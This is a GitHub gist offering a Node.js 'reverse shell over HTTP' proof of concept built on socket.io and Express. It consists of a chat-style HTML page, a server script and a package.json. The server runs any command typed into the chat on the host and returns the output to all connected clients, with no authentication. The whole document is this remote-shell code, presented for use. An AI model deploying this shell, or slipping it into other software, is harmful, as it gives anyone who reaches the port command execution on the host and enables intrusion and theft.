Last active
January 14, 2016 11:12
-
-
Save Franco-Poveda/29b20319fea35bf65731 to your computer and use it in GitHub Desktop.
node.js reverse shell over HTTP proof of concept, using socket.io
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!doctype html> | |
<html> | |
<head> | |
<title>Socket.IO shell</title> | |
<style> | |
* { margin: 0; padding: 0; box-sizing: border-box; } | |
body { font: 13px Helvetica, Arial; } | |
form { background: #000; padding: 3px; position: fixed; bottom: 0; width: 100%; } | |
form input { border: 0; padding: 10px; width: 90%; margin-right: .5%; } | |
form button { width: 9%; background: rgb(130, 224, 255); border: none; padding: 10px; } | |
#messages { list-style-type: none; margin: 0; padding: 0; } | |
#messages li { padding: 5px 10px; } | |
#messages li:nth-child(odd) { background: #eee; } | |
</style> | |
</head> | |
<body> | |
<ul id="messages"></ul> | |
<form action=""> | |
<input id="m" autocomplete="off" /><button>Send</button> | |
</form> | |
<script src="https://cdn.socket.io/socket.io-1.2.0.js"></script> | |
<script src="http://code.jquery.com/jquery-1.11.1.js"></script> | |
<script> | |
var socket = io(); | |
$('form').submit(function(){ | |
socket.emit('chat message', $('#m').val()); | |
$('#m').val(''); | |
return false; | |
}); | |
socket.on('chat message', function(msg){ | |
$('#messages').append($('<li>').text(msg)); | |
}); | |
</script> | |
</body> | |
</html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* poguijuaz [at] gmail | |
* Just a proof of concept | |
* I used some os socket.io's chat example: | |
* http://socket.io/demos/chat/ | |
* comments are welcome. | |
*/ | |
var app = require('express')(); | |
var http = require('http').Server(app); | |
var io = require('socket.io')(http); | |
app.get('/', function(req, res){ | |
res.sendFile(__dirname + '/index.html'); | |
}); | |
io.on('connection', function(socket){ | |
socket.on('chat message', function(msg){ | |
io.emit('chat message', msg); | |
if (msg.indexOf(' ') == -1) { | |
var command = msg; | |
var arguments = "-la"; | |
} else{ | |
var command = msg.substring(0, msg.indexOf(' ')); | |
var arguments = msg.substring(msg.indexOf(' '),msg.length); | |
} | |
run_cmd(command,arguments,function(out){ | |
console.log(out); | |
io.emit("chat message",out); | |
}); | |
}); | |
}); | |
http.listen(3000, function(){ | |
console.log('listening on port 3000'); | |
}); | |
function run_cmd(cmd, args, callBack ) { | |
var spawn = require('child_process').spawn; | |
var child = spawn(cmd, args); | |
var resp = ""; | |
child.stdout.on('data', function (buffer) { resp += buffer.toString() }); | |
child.stdout.on('end', function() { callBack (resp) }); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "socket-revShell", | |
"version": "0.0.1", | |
"description": "reverse / http shell proof of concept", | |
"dependencies": { | |
"express": "4.10.2", | |
"socket.io": "1.2.0" | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment